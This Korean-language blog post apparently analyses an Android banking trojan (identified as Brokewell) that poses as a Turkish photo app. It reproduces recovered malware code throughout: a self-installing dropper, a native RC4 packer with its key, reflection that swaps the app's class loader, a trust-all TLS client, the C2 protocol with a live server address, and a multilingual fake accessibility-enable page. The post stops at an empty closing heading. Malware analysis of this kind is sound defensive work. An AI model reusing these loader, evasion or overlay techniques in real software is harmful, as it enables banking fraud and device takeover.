The Hidden Originals – Ti 에서 미탐된 악성코드 분석
정상 앱으로 위장한 악성 APK 의 3단계 보호 메커니즘 과정을 따라가기
사진 한 장이 은행 계좌를 비우기까지 — Brokewell 안드로이드 뱅킹 RAT 3단계 보호 메커니즘 추적기
일부 악성코드 분류기에서 정상으로 표기된 APK 가 있어 살펴보던 중 미탐(Undetected)된 악성코드를 발견했다.
TL;DR
터키어 “Fotoğraf(사진)” 앱으로 위장한 APK 가 사용자의 클릭 한 번에 디버그 키로 서명된 두 번째 APK 를 자체 설치하고, 그 안의 ARM64 네이티브 라이브러리가 RC4 로 암호화된 raw 리소스lekpjwcen을 풀어 진짜 DEX 를 디스크에 떨군 다음, 리플렉션으로LoadedApk.mClassLoader를 통째로 교체한다. 결과는 풀스펙 Brokewell 뱅킹 RAT — VNC 화면 제어, 키로깅, OTP 가로채기, 다국어 뱅킹 오버레이까지 한 세트. 본 글은 그 3단계를 처음부터 끝까지 따라가본 기록이다.
핵심 4 아티팩트:
com.android.s2rhhxh— Stage 1 드로퍼 APKcom.markfirek— Stage 2 외피 APK (raw 리소스에 들어있음)libEHuABY.so— Stage 2 안의 네이티브 패커stage3.dex—lekpjwcen을 RC4 복호한 진짜 봇 코드
1. 처음 본 인상: “사진 보기” 앱
먼저 매니페스트를 까보면 묘하다.
1
2
3
4
5
6
7
8
9
<application
android:label="@string/app_name" <!-- "Fotoğraf" -->
android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
...
<queries>
<package android:name="com.markfirek"/>
</queries>
사진 앱이 왜 다른 APK 를 설치할 권한이 필요할까? 그리고 queries 안의 com.markfirek 은 또 누구인가? 매니페스트가 본인 패키지 외에 다른 패키지를 명시적으로 묻고 있다는 건, 그 패키지를 “내가 깐 뒤에 다시 확인하려는 의도” 라는 신호다.
서명 인증서를 보면 더 노골적이다.
1
Subject: CN=key_s2rhhxh, OU=Development, O=AndroidDev, L=City, ST=State, C=US
O=AndroidDev / L=City / ST=State 같은 자체 서명 패턴. Play 검증을 거친 정상 앱이 아니다.
디컴파일러 로 MainActivity 를 열면 의도가 그대로 드러난다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public final class MainActivity : ComponentActivity() {
val y = "com.markfirek"
val x = 0x7F090000 // R.raw.app
fun onClick() {
if (!getPackageManager().canRequestPackageInstalls()) {
startForegroundService(BackgroundService, "start_polling")
startActivity(Intent("android.settings.MANAGE_UNKNOWN_APP_SOURCES",
Uri.parse("package:com.android.s2rhhxh")))
} else {
installEmbeddedApk()
}
}
fun installEmbeddedApk() {
if (packageManager.getPackageInfo("com.markfirek", 0) != null) {
startActivity(packageManager.getLaunchIntentForPackage("com.markfirek"))
finish()
return
}
// raw/com.markfirek 를 PackageInstaller 로 자체 설치
val src = resources.openRawResource(R.raw.app)
val session = packageInstaller.openSession(createSession(MODE_FULL_INSTALL))
session.openWrite(...).use { dst -> src.copyTo(dst) }
session.commit(...)
}
}
raw/com.markfirek 라는 raw 리소스가 통째로 APK 다. UI 는 Jetpack Compose 카드 하나에 "FOTOĞRAFI GÖRMEK İÇİN DEVAM ET'E TIKLAYIN" (“사진을 보려면 ‘계속’을 클릭하세요”) — 그게 전부다. 사진 따위는 없다. 진짜 목적은 사용자가 권한 토글하는 동안 BackgroundService 가 500ms 마다 권한 상태를 폴링하다가 켜지는 순간 자동으로 두 번째 APK 를 까는 거다.
알림은 한 술 더 떠서 자기가 보안 앱인 척 한다.
1
2
3
4
NotificationChannel("security_service_channel", "Güvenlik Servisi", IMPORTANCE_LOW)
.setDescription("Güvenlik güncellemeleri ve kurulum izin takibi")
// 알림 표시: "Güvenlik servisi çalışıyor / Kurulum izinleri kontrol ediliyor"
// (보안 서비스 작동 중 / 설치 권한 확인 중)
자기가 “보안 서비스” 라고 주장하는 것 — 안드로이드 멀웨어 사회공학의 클래식이다. 그러는 사이 백그라운드에서는 폴링하면서 사용자가 “알 수 없는 앱 설치 허용”을 켜기만 기다린다.
같은 depth 에서 아래와 같은 Malware-Guide 가 보인다.
2. 두 번째 APK 안으로 — 진짜 의도가 보인다
raw/com.markfirek 을 추출해 분석하면 풍경이 바뀐다. 매니페스트가 노골적이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<manifest package="com.markfirek">
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>
<uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.BROADCAST_SMS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
...
<application android:name="com.markfirek.ysjQrfck">
<service android:name="com.markfirek.p014v"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">...
<service android:name="com.markfirek.p013l"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">...
<receiver android:name="com.markfirek.p040n"
android:permission="android.permission.BIND_DEVICE_ADMIN">...
<receiver android:name="com.markfirek.p044j">
<intent-filter android:priority="9999">
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
...
<service android:name="com.markfirek.BotJobService"
android:permission="android.permission.BIND_JOB_SERVICE"/>
<service android:name="com.markfirek.p095o"
android:foregroundServiceType="mediaProjection"/>
...
BIND_ACCESSIBILITY_SERVICE + BIND_NOTIFICATION_LISTENER_SERVICE + BIND_DEVICE_ADMIN + SMS 풀세트 + MediaProjection + BotJobService. 정상 앱이 단 하나라도 가질 이유가 없는 권한 묶음이다.
인증서를 보면 한 단계 더 노골적이다.
1
2
Subject: CN=Android Debug, OU=Android, O=Unknown, L=Unknown, ST=Unknown, C=US
Validity: 2014-01-01 ~ 2052-05-01
Android SDK 의 기본 debug.keystore 시그니처. Play 스토어가 디버그 키로 서명된 앱을 거부하므로, 이 앱은 처음부터 Play 를 통할 의도가 없는 사이드로드 전용이다.
기대를 잔뜩 안고 dex 디컴파일을 시작했는데…
1
2
3
4
5
6
7
8
9
10
11
Lcom/markfirek/BuildConfig;
Lcom/markfirek/R$attr;
Lcom/markfirek/R$drawable;
Lcom/markfirek/R$id;
Lcom/markfirek/R$layout;
Lcom/markfirek/R$raw;
Lcom/markfirek/R$string;
Lcom/markfirek/R$style;
Lcom/markfirek/R$xml;
Lcom/markfirek/R;
Lcom/markfirek/ysjQrfck;
실제 코드는 ysjQrfck 한 클래스뿐. 매니페스트가 부르고 있는 p014v, p013l, p040n, BotJobService 같은 클래스는 dex 어디에도 없다. 매니페스트가 거짓말을 하고 있다.
ysjQrfck 를 열어보면 답이 나온다.
1
2
3
4
5
6
7
8
9
10
11
12
public class ysjQrfck extends Application {
static {
System.loadLibrary("EHuABY");
}
protected void attachBaseContext(Context ctx) {
super.attachBaseContext(ctx);
odrKVlJOmNEmeOb(ctx);
}
public native void odrKVlJOmNEmeOb(Object arg1);
}
전부다. dex 의 모든 코드. Application 의 attachBaseContext 에서 native 함수 하나를 호출하고 끝. 모든 진짜 로직은 libEHuABY.so 안에 있다.
여기서 두 가지가 결정적이다.
attachBaseContext후킹: 이 메소드는Application.onCreate와 모든 컴포넌트onCreate보다 먼저 호출된다. 어떤 Activity / Service / Receiver 도 로딩되기 전에 native 가 일을 끝내야 한다.raw/lekpjwcen의 정체: dex 안에서lekpjwcen을 직접 부르는 코드는 없다. R.raw 에 ID 만 잡혀있을 뿐. 그러면 누가 부를까? →libEHuABY.so가 JNI 로 직접 부른다.
3. libEHuABY.so — 단 하나의 함수가 하는 일
IDA 에 .so 를 열면 80개쯤 되는 함수가 보이지만, JNI 진입점은 단 하나다.
1
Java_com_markfirek_ysjQrfck_odrKVlJOmNEmeOb @ 0x1B24
함수명이 곧 호출자다 — JNI 명명 규칙상 com.markfirek.ysjQrfck.odrKVlJOmNEmeOb 가 호출한다. dex 의 그 한 줄짜리 native 메소드가 바로 이 함수와 연결된다.
함수 본체를 따라가면 다음 8단계가 순서대로 실행된다.
(1) 스택 위에 문자열 풀어두기
심볼/문자열 덤프를 피하려고 .rodata 에 모아두지 않고 strcpy 로 스택에 즉시 조립한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
strcpy(v109, "com.markfirek:raw/lekpjwcen");
strcpy(v110, "GBA5LIb0pXvvXEVHRugH8bAH8nPgEiGG"); // ← RC4 키 (32B)
strcpy(v108, "lekpjwcen");
strcpy(v107, "getResources");
strcpy(v106, "()Landroid/content/res/Resources;");
strcpy(v105, "getIdentifier");
strcpy(v104, "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I");
strcpy(v103, "(I)Ljava/io/InputStream;");
strcpy(v102, "available");
strcpy(v100, "android.app.ActivityThread");
strcpy(v99, "android/app/ActivityThread");
strcpy(v98, "currentActivityThread");
strcpy(v97, "()Landroid/app/ActivityThread;");
strcpy(v96, "getDeclaredField");
strcpy(v95, "(Ljava/lang/String;)Ljava/lang/reflect/Field;");
strcpy(v94, "mPackages");
strcpy(v93, "setAccessible");
strcpy(v92, "(Ljava/lang/Object;)Ljava/lang/Object;");
strcpy(v87, "android.app.LoadedApk");
strcpy(v84, "mClassLoader");
strcpy(v81, "dalvik/system/DexClassLoader");
strcpy(v80, "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
// ...
RC4 키 한 줄이 그냥 있다. 패커치고는 솔직하다.
(2)~(3) 드롭 경로 빌드
1
2
3
// VOMZlQEmYgXtKtS @ 0x2C98
// ctx.getApplicationInfo().dataDir + "/cache/" + "com.markfirek:raw/lekpjwcen"
// → /data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen
DexClassLoader 가 사용할 optimizedDirectory 도 같은 dataDir 로 둔다.
(4) raw/lekpjwcen 적재 (JNI)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ctx.getResources()
v10 = (*env)->CallObjectMethod(env, ctx, methodID_getResources);
// res.getIdentifier("lekpjwcen", "raw", ctx.getPackageName())
v15 = (*env)->CallIntMethod(env, v10, methodID_getIdentifier,
jstr("lekpjwcen"), jstr("raw"), jstr(pkg));
// res.openRawResource(id)
v_is = (*env)->CallObjectMethod(env, v10, methodID_openRawResource, v15);
// is.available() / is.read(byte[])
int len = (*env)->CallIntMethod(env, v_is, methodID_available);
jbyteArray jbuf = (*env)->NewByteArray(env, len);
(*env)->CallIntMethod(env, v_is, methodID_read, jbuf);
여기까지가 “Java 가 lekpjwcen 을 어디서 부르냐” 의 답이다. 부르긴 부르는데, Java 코드가 부르는 게 아니라 native 가 JNI 로 직접 부른다. 그래서 dex 에 reference 가 없다.
(5) 네이티브 버퍼로 복사
1
2
3
4
// PrJdTacbjDhkSp @ 0x3260
int len = env->CallIntMethod(jbuf, methodID_length); // 사실은 GetArrayLength
void *cipher = operator new[](len);
env->GetByteArrayRegion(jbuf, 0, len, cipher);
(6) RC4 복호 — vDNomdinQDvacVS 클래스
KSA 와 PRGA 가 깔끔하게 분리돼 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// vDNomdinQDvacVS::TqqIKOzQRyrkir @ 0x36CC (RC4 KSA)
for (int i = 0; i < 256; i++) S[i] = i;
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % keylen]) & 0xff;
swap(S[i], S[j]);
}
// vDNomdinQDvacVS::NrqrdKfJhq @ 0x349C (RC4 PRGA + XOR)
int i = 0, j = 0;
for (int k = 0; k < len; k++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
swap(S[i], S[j]);
out[k] = cipher[k] ^ S[(S[i] + S[j]) & 0xff];
}
표준 RC4 그대로. 키만 알면 누구나 복호할 수 있다.
(7) 디스크 드롭
1
2
3
FILE *f = fopen("/data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen", "wb");
fwrite(plain, 1, len, f);
fclose(f);
복호된 파일이 디스크에 그대로 떨어진다. 동적 분석할 거면 여기를 잡으면 된다.
(8) ClassLoader 핫스왑 — 진짜 마법
이 부분이 정적 분석을 진짜 어렵게 만든다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 의사 Java 표현
Class atCls = Class.forName("android.app.ActivityThread");
Object at = atCls.getMethod("currentActivityThread").invoke(null);
Field mPkgs = atCls.getDeclaredField("mPackages");
mPkgs.setAccessible(true);
Map pkgsMap = (Map) mPkgs.get(at);
Object weakRef = pkgsMap.get(ctx.getPackageName());
Object loadedApk = WeakReference.get(weakRef); // LoadedApk 인스턴스
Class apkCls = Class.forName("android.app.LoadedApk");
Field mCL = apkCls.getDeclaredField("mClassLoader");
mCL.setAccessible(true);
ClassLoader parent = (ClassLoader) mCL.get(loadedApk);
ClassLoader dcl = new DexClassLoader(
"/data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen", // dexPath
"/data/data/com.markfirek", // optimizedDir
null, // libPath
parent);
mCL.set(loadedApk, dcl); // ★ 통째로 교체
LoadedApk.mClassLoader 는 ART 가 이 앱의 모든 클래스를 해석할 때 쓰는 기준 ClassLoader 다. 이걸 우리가 만든 DexClassLoader 로 갈아끼우면, 이후 매니페스트의 com.markfirek.p014v, BotJobService, WebViewActivity 같은 컴포넌트가 onCreate 될 때 ART 는 우리가 깐 새 DEX 안의 클래스를 찾아 쓴다.
그래서 외피 dex 가 비어있어도 앱이 동작한다. 매니페스트는 약속만 하고, 그 약속이 지켜지는 시점에는 이미 LoadedApk 의 ClassLoader 가 통째로 새것이다.
이게 libEHuABY.so 의 단일하고 유일한 역할이다 — 앱 초기화의 가장 첫 단계에 DEX 패커를 풀고 ClassLoader 를 교체해서 정적 분석을 무력화하는 것. 진짜 봇 로직은 한 줄도 안 들어있다.
4. Stage 3 DEX — lekpjwcen 의 정체
키를 알았으니 Python 으로 복호한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
KEY = b"GBA5LIb0pXvvXEVHRugH8bAH8nPgEiGG"
data = open("lekpjwcen", "rb").read() # ← "rb" 필수 (Windows cp949 때문)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + KEY[i % len(KEY)]) & 0xff
S[i], S[j] = S[j], S[i]
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xff]
out.append(b ^ K)
open("stage3.dex", "wb").write(out)
print(out[:8]) # b'dex\n035\x00'
매직바이트가 dex\n035\0 — 표준 DEX 다. 디컴파일러 에 임포트하면 진짜 봇이 보인다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Lcom/markfirek/BotJobService;
Lcom/markfirek/NotificationPermAct;
Lcom/markfirek/WebViewActivity;
Lcom/markfirek/p013j;
Lcom/markfirek/p013l; ← NotificationListenerService
Lcom/markfirek/p014v; ← AccessibilityService
Lcom/markfirek/p040n; ← DeviceAdminReceiver
Lcom/markfirek/p042k$break;
Lcom/markfirek/p042k$case;
Lcom/markfirek/p042k$catch;
Lcom/markfirek/p042k$class;
Lcom/markfirek/p042k$const;
Lcom/markfirek/p044j; ← SMS Receiver
Lcom/markfirek/p090s;
Lcom/markfirek/p095g; ← WapPushReceiver
Lcom/markfirek/p095o; ← MediaProjection FGS
...
Lfddo/case;
Lfddo/catch;
Lfddo/class;
Lfddo/const;
Lfddo/default;
Lfddo/else;
Lfddo/extends;
Lfddo/fddo;
Lfddo/final;
Lfddo/for;
Lfddo/goto;
Lfddo/ifdf;
Lfddo/import;
Lfddo/throw;
Lfddo/try;
...
매니페스트의 모든 약속이 여기 있다. 그리고 fddo 패키지가 따로 있다 — 클래스명이 전부 Java 예약어(import, extends, final, throw, goto, case, try, class)다. 일부 디컴파일러를 잠재적으로 헷갈리게 하는 트릭.
4.1 첫 핵심: BotJobService
1
2
3
4
5
6
7
8
9
10
public boolean onStartJob(JobParameters params) {
new Thread(() -> {
fddo.final.D(getApplicationContext(), true); // 디바이스 정보 갱신
fddo.extends.goto(getApplicationContext(),
fddo.import.fddo("80f04752b59cf03cfc504df6"), // 키: ???
0L);
fddo.throw.goto(getApplicationContext()); // C2 핑/등록
}).start();
return true;
}
JobScheduler 기반 봇 부트스트랩. 그런데 SharedPreferences 키가 import.fddo("80f04752b59cf03cfc504df6") 라는 hex 함수 호출이다. 모든 민감 문자열이 또 한 번 암호화돼 있다.
4.2 두 번째 RC4
fddo.import 클래스를 보면 답이 나온다.
1
2
3
4
5
6
7
public class import {
public static String fddo(String hex) {
return new import("dQc7omRK0aBEWdjLghTDe".getBytes()).for(hex);
}
public String for(String s) { return new(try(s)); } // hex → RC4 → 평문
// (KSA / PRGA 표준 RC4 동일)
}
또 RC4 다. 다른 키 (dQc7omRK0aBEWdjLghTDe, 21B). 입력은 hex 문자열. 이걸 풀면 SharedPreferences 키, JSON 필드명, C2 URL 가 전부 한꺼번에 드러난다.
| Ciphertext (hex) | 평문 |
|---|---|
80f04752b59cf03cfc504df6 | last_request |
80f04752b59df03fff504c | last_server |
81f05d48 | main (SharedPrefs 이름) |
84e54056 | http |
85ff47528b82f928ed6a4ee9e245 | installed_pkgs |
85e26b548f89fc3efd504ce7e1 | is_registered |
88f4424f898bca2ced5857ecda45b2ff | device_admin_set |
80fe574db581fb | lock_on |
8ffe5a528380e028 | continue |
98f85943859be1 | timeout |
84fe47528981fb23ec564a | hostconnect |
8ff94649878b | chrome |
bcf0574d8f9ae660fa5050f6 | Packets-sent |
daa20414dbdea27dbc | 630210705 |
630210705 는 캠페인/빌드 ID 로 보인다. Packets-sent 는 커스텀 HTTP 헤더. chrome 은 User-Agent 위장용.
4.3 진짜 C2
fddo.final.switch(ctx) 가 C2 URL 을 반환한다.
1
2
3
4
5
public static String switch(Context ctx) {
String s = extends.new(ctx, "domains", ""); // C2 가 푸시한 새 도메인
if (!s.isEmpty()) return s;
return else.fddo; // 부트스트랩
}
else.fddo 가 부트스트랩 C2 URL 리스트다. static 초기화 블록에서 RC4(hex) 한 줄로 들어있다.
1
2
3
4
static {
else.fddo = import.fddo("84e5405699d4ba62b80208acb404e4a59b4a4f72c833c6a6e43479858886bb669e78ea6425587c333b3e9dee07ccf2ad8d70a7e6899de799fb1d6de6e2e7298016e43ddfceba897b77cc70fc6621bf5ef33b29e966563cc94f278ff3f603e23c167cb5a2aa45e25fd97417d9036fba14d7435b3425e9e122fbabd4920bba8757a0dacfb3bac31e947373e83a5b5fb2e32226c4faab8f348d2ec212cd2681db425115c33963490ac17a1f855832185ce4ce57cfb9f408b2697d790b9861caeae09bfbdd8aa2d50f36e62431d10a9b7f9f13e40530876cd6b681010a84dd0a7c485410ab876288...");
// 1294 hex chars
}
복호하면…
1
2
3
4
https://176.123.1.132/YjI3NmJmNDdhMTkx/|https://344d623b6061ad211f98139844d18f2a5f.com/YjI3NmJmNDdhMTkx/|
https://344d23b6606asd1211f9813c0c4d18f2a5f.com/YjI3NmJmNDdhMTkx/|
https://hh6d23b60asd61211f98139844d18f2a5f.com/YjI3NmJmNDdhMTkx/|
... (총 10개)
Primary: https://176.123.1.132/YjI3NmJmNDdhMTkx/
- IP
176.123.1.132→ PQ Hosting Plus / Stark Industries (Moldova) — Russia 친화 bulletproof 호스팅 - 경로
YjI3NmJmNDdhMTkx→ base64 디코드b276bf47a191(캠페인/봇 ID) - 나머지
*.com도메인 9 개는 무효한 형태 (중복 문자, 키 입력 노이즈) — 시그니처 회피용 노이즈
또 다른 보조 인프라:
1
else.new = "http://www.ip-api.com/json" // 피해자 공인 IP 수집
ip-api.com 은 정상 서비스지만, 봇은 이걸 호출해서 받은 rIP 를 다음 핑에 같이 보낸다 — VPN 사용 여부 / 지리적 위치 판단용.
4.4 C2 프로토콜 — 풀스펙 RAT
fddo.throw 가 C2 클라이언트다. 핵심만 추리면:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SSL 검증 완전 비활성화 (자체서명 C2 / MITM 친화)
TrustManager[] trust = new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] c, String s) {} // ← 무조건 통과
public void checkServerTrusted(X509Certificate[] c, String s) {} // ← 무조건 통과
public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
}};
SSLContext ssl = SSLContext.getInstance("TLS");
ssl.init(null, trust, new SecureRandom());
OkHttpClient client = new OkHttpClient.Builder()
.sslSocketFactory(ssl.getSocketFactory(), trust[0])
.hostnameVerifier((host, session) -> true) // ← 호스트네임도 무조건 OK
.connectTimeout(60, SECONDS)
.build();
// 요청: gzip(JSON) POST
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gz = new GZIPOutputStream(baos);
gz.write(json.getBytes("UTF-8"));
gz.close();
Request req = new Request.Builder()
.url(c2Url)
.post(RequestBody.create(baos.toByteArray(), JSON))
.header("Packets-sent", "630210705")
.header("Content-Encoding", "gzip")
.build();
// 응답: "<HTTP_CODE>|<RC4(hex)>"
String body = response.body().string();
String[] parts = body.split("\\|", 2);
int code = Integer.parseInt(parts[0]);
String cmd = fddo.final.try(parts[1]); // 또 RC4 복호
요청도 gzip, 응답도 RC4. 동적 분석으로 패킷을 잡아도 또 RC4 키가 필요하다.
핑 패킷의 JSON 필드들도 전부 암호화돼 있는데, 풀어보면 풀스펙 봇 텔레메트리다.
| 평문 필드 | 의미 |
|---|---|
xc | 패킷 타입 (bR register / bP ping) |
tA~tG | Build.RELEASE / MANUFACTURER / MODEL / 언어 / 국가 / 통신사 / 디바이스 ID |
lA | 설치된 모든 패키지 (10분마다 재전송) |
iA/dA | Accessibility / DeviceAdmin 활성 여부 |
iAc/iPa/iBC/iCP/iSE/iSp/iFp | 권한 비트들 (accessibility / 권한 / 배터리 / 통화 / 설정 / SMS / 지문) |
kL | keylogger_enabled |
vnc | “layout:on; screen:on; sound:on; backlight:on; overlay:on;” |
fgM | foreground (오버레이) 모드 |
iAg | 설치 앱 시그니처 |
rIP | ip-api.com 결과 |
nS | 가로챈 신규 SMS |
rZ | 트랜잭션 레코드 tid1:tr_inner (뱅킹 ATS 결과) |
cTsk | 현재 acsb_task |
rZ 의 트랜잭션 레코드, vnc 의 화면 스트리밍 능력 비트맵, kL 의 키로거 토글 — 이게 자동 송금(ATS) + 원격 뱅킹앱 제어 + 키스트로크 캡쳐 가 한 봇 안에 다 들어있다는 증거다.
4.5 다국어 인젝션 — 결정적 시그니처
마지막 발견. fddo.else.else 는 base64 인코딩된 HTML/JS 페이로드 6개 배열이다.
1
2
3
4
5
6
7
8
else.else = new String[] {
"PHNjcmlwdD4NCnZhciBsYW5nID0gJyVMQU5HJScgLy8gRGV2aWNlIGxhbmd1YWdlIChlbiwgZGUsIGVzKQ0K...",
"...", // Bootstrap CSS
"...", // FontAwesome
"...", // jQuery core
"...", // jQuery extras
"..." // jQuery JSONP
};
첫 번째를 base64 디코드 한 게 백미다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
var lang = '%LANG%' // Device language (en, de, es)
var app_title = '%APP_TITLE%' // bot template title ('Android Update')
var is_xiaomi = ('%IS_XIAOMI%' == 'true') // Acsb Settings - Downloaded Services - 'Bot Name' service
var is_samsung = ('%IS_SAMSUNG%' == 'true') // Acsb Settings - Installed Services - 'Bot Name' service
switch(lang) {
case "pl": // Poland
enableAcsbService = "Zezwalaj na powiadomienia"
openDownloadedServices = "Zezwalaj na przesyłanie"
openInstalledServices = "Włącz powiadomienia o lokalizacji"
openSettings = "Wejdź w ustawienia"
setSwitchOn = "Ustaw bonusy"
break
case "pt": // Portuguese
enableAcsbService = "Ativar Acessibilidade Serviço"
openDownloadedServices = "Abrir <b>'Mais serviços transferidos'</b>"
openInstalledServices = "Abrir <b>'Serviços instalados'</b>"
findApp = "Procurar <b>'"+app_title+"'</b>"
...
case "de": // German
enableAcsbService = "Zugänglichkeitsdienst aktivieren"
...
case "es": // Spanish
enableAcsbService = "Habilite Servicio de Accesibilidad"
...
다국어 접근성 활성화 가이드 페이지가 그대로 들어있다. 폴란드어/포르투갈어/독일어/스페인어 + Xiaomi/Samsung 분기. 이게 사용자에게 “Bot Name 서비스를 켜주세요” 라고 단계별로 손잡고 안내하는 페이크 페이지다.
이 다국어 안내 + bot_smarts + acsb_pages + xc:bP/bR + VNC 능력 비트맵 + RC4 이중 난독화의 조합은 Brokewell 패밀리의 특징 시그니처와 정확히 일치한다.
5. 전체 동작 흐름 그림
이걸 한 그림으로 정리하면 이렇다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[Stage 1] com.android.s2rhhxh "Fotoğraf"
│
│ 사용자 클릭 → REQUEST_INSTALL_PACKAGES 권한 강요 (500ms 폴링)
│ PackageInstaller 로 raw/com.markfirek 설치
▼
[Stage 2] com.markfirek (디버그 키 서명)
│
│ Application: ysjQrfck.attachBaseContext
│ static { System.loadLibrary("EHuABY"); }
│ odrKVlJOmNEmeOb(ctx)
▼
[libEHuABY.so] @ 0x1B24
│
│ (1) JNI: ctx.getResources().getIdentifier("lekpjwcen", "raw", pkg)
│ (2) JNI: openRawResource(id).read() → byte[]
│ (3) Native RC4 KSA (key = "GBA5LIb0pXvvXEVHRugH8bAH8nPgEiGG")
│ (4) Native RC4 PRGA decrypt
│ (5) fopen("/data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen", "wb")
│ fwrite(plain); fclose()
│ (6) JNI 리플렉션:
│ Class.forName("android.app.ActivityThread").currentActivityThread()
│ .mPackages.get(pkg).get() // → LoadedApk
│ .mClassLoader = new DexClassLoader(droppedFile, dataDir, null, parent)
▼
[ART resumes Application.onCreate]
│ 매니페스트 컴포넌트들이 새 DexClassLoader 로부터 로딩됨
▼
[stage3.dex] (메모리/캐시에만 존재)
│
│ fddo.* 패키지 + com.markfirek.* 실제 컴포넌트
│ fddo.import.fddo(hex) ← RC4(key="dQc7omRK0aBEWdjLghTDe") 문자열 풀기
│
├─ p014v (AccessibilityService) — 자동 클릭/입력 가로채기
├─ p013l (NotificationListener) — OTP 가로채기
├─ p040n (DeviceAdmin) — 제거 방지
├─ p044j (SMS Receiver priority=9999) — SMS abortBroadcast
├─ p095o (MediaProjection) — VNC 화면 스트리밍
├─ WebViewActivity — HTML/JS 오버레이 인젝션 (다국어)
└─ BotJobService → fddo.throw.goto(ctx)
│
│ 60초 주기 핑/등록
│ HTTPS POST gzip(JSON) → 응답 RC4 명령
▼
[C2] https://176.123.1.132/YjI3NmJmNDdhMTkx/ (PQ Hosting, Moldova)
각 단계마다 새로운 보호기술이 한 겹씩 쌓여있다.
| 단계 | 보호 기술 | 의도 |
|---|---|---|
| Stage 1 | 사진 앱 위장 + 시스템 보안 알림 사칭 + 권한 강요 폴링 | 사용자 신뢰 + 권한 획득 |
| Stage 1 | libandroidx.graphics.path.so (decoy 정상 라이브러리) | 안티바이러스 위양성 |
| Stage 1 → 2 | APK-in-APK + PackageInstaller 자체 설치 | Play 검증 우회 |
| Stage 2 | 디버그 키 서명 | 사이드로드 전제 |
| Stage 2 | 매니페스트 30개 컴포넌트 약속, dex 1개 클래스만 실재 | 정적 분석 무력화 |
| Stage 2 → 3 | 네이티브 RC4 패커 + DexClassLoader 핫스왑 | 디스크에 평문 코드 부재 |
| Stage 2 → 3 | attachBaseContext 후킹 | 모든 컴포넌트 onCreate 이전에 교체 완료 |
| libEHuABY.so | C++ 심볼 난수화 + strcpy 스택 조립 | 시그니처/문자열 덤프 회피 |
| Stage 3 | 2차 RC4(hex) 문자열 난독화 + Java 예약어 클래스명 | 디컴파일러 혼선 + 분석 시간 폭증 |
| Stage 3 | TrustManager/Hostname Verifier 무조건 통과 | 자체서명 C2 / MITM 친화 |
| Stage 3 | gzip 요청/응답 + RC4 응답 페이로드 | 동적 분석에서도 평문 안 보임 |
6. “악성인가” 질문에 대한 결정적 근거
이 검체가 악성이라고 말하려면 한두 가지 보호 기술만으로는 부족하다. 모든 신호가 같은 방향을 가리켜야 결론을 내릴 수 있다. 이 검체는 8개 독립 지표가 전부 일치한다.
REQUEST_INSTALL_PACKAGES+ PackageInstaller 자체 호출 — 사진 앱이 다른 APK 를 깔 이유가 없다- raw 리소스에 APK 가 통째로 — 합법 SDK 업데이트도 이렇게 안 한다
- “사진 보려면 계속 클릭” UI 가 앱 유일 기능 — 사회공학 100%
- 500ms 권한 강요 폴링 — 사용자가 권한 안 켜도 자동 진행하려는 의도
- 알림이 “보안 서비스” 사칭 — 자기가 보안 앱 아닌데 보안 알림으로 표시
- 네이티브 RC4 패커 + DexClassLoader 핫스왑 — 정상 앱이 이걸 할 이유가 없다
- 디버그 키 서명 — Play 통할 의도 자체가 없다
- Windows Defender 가 .so 만 정확히 격리 — 시그니처 DB 에 이미 등록된 알려진 위협
여덟 개 신호의 교집합은 한 가지 결론밖에 안 남긴다 — 금융 자산 탈취 목적의 안드로이드 뱅킹 RAT.
7. 마무리 — 이 검체에서 배울 수 있는 것
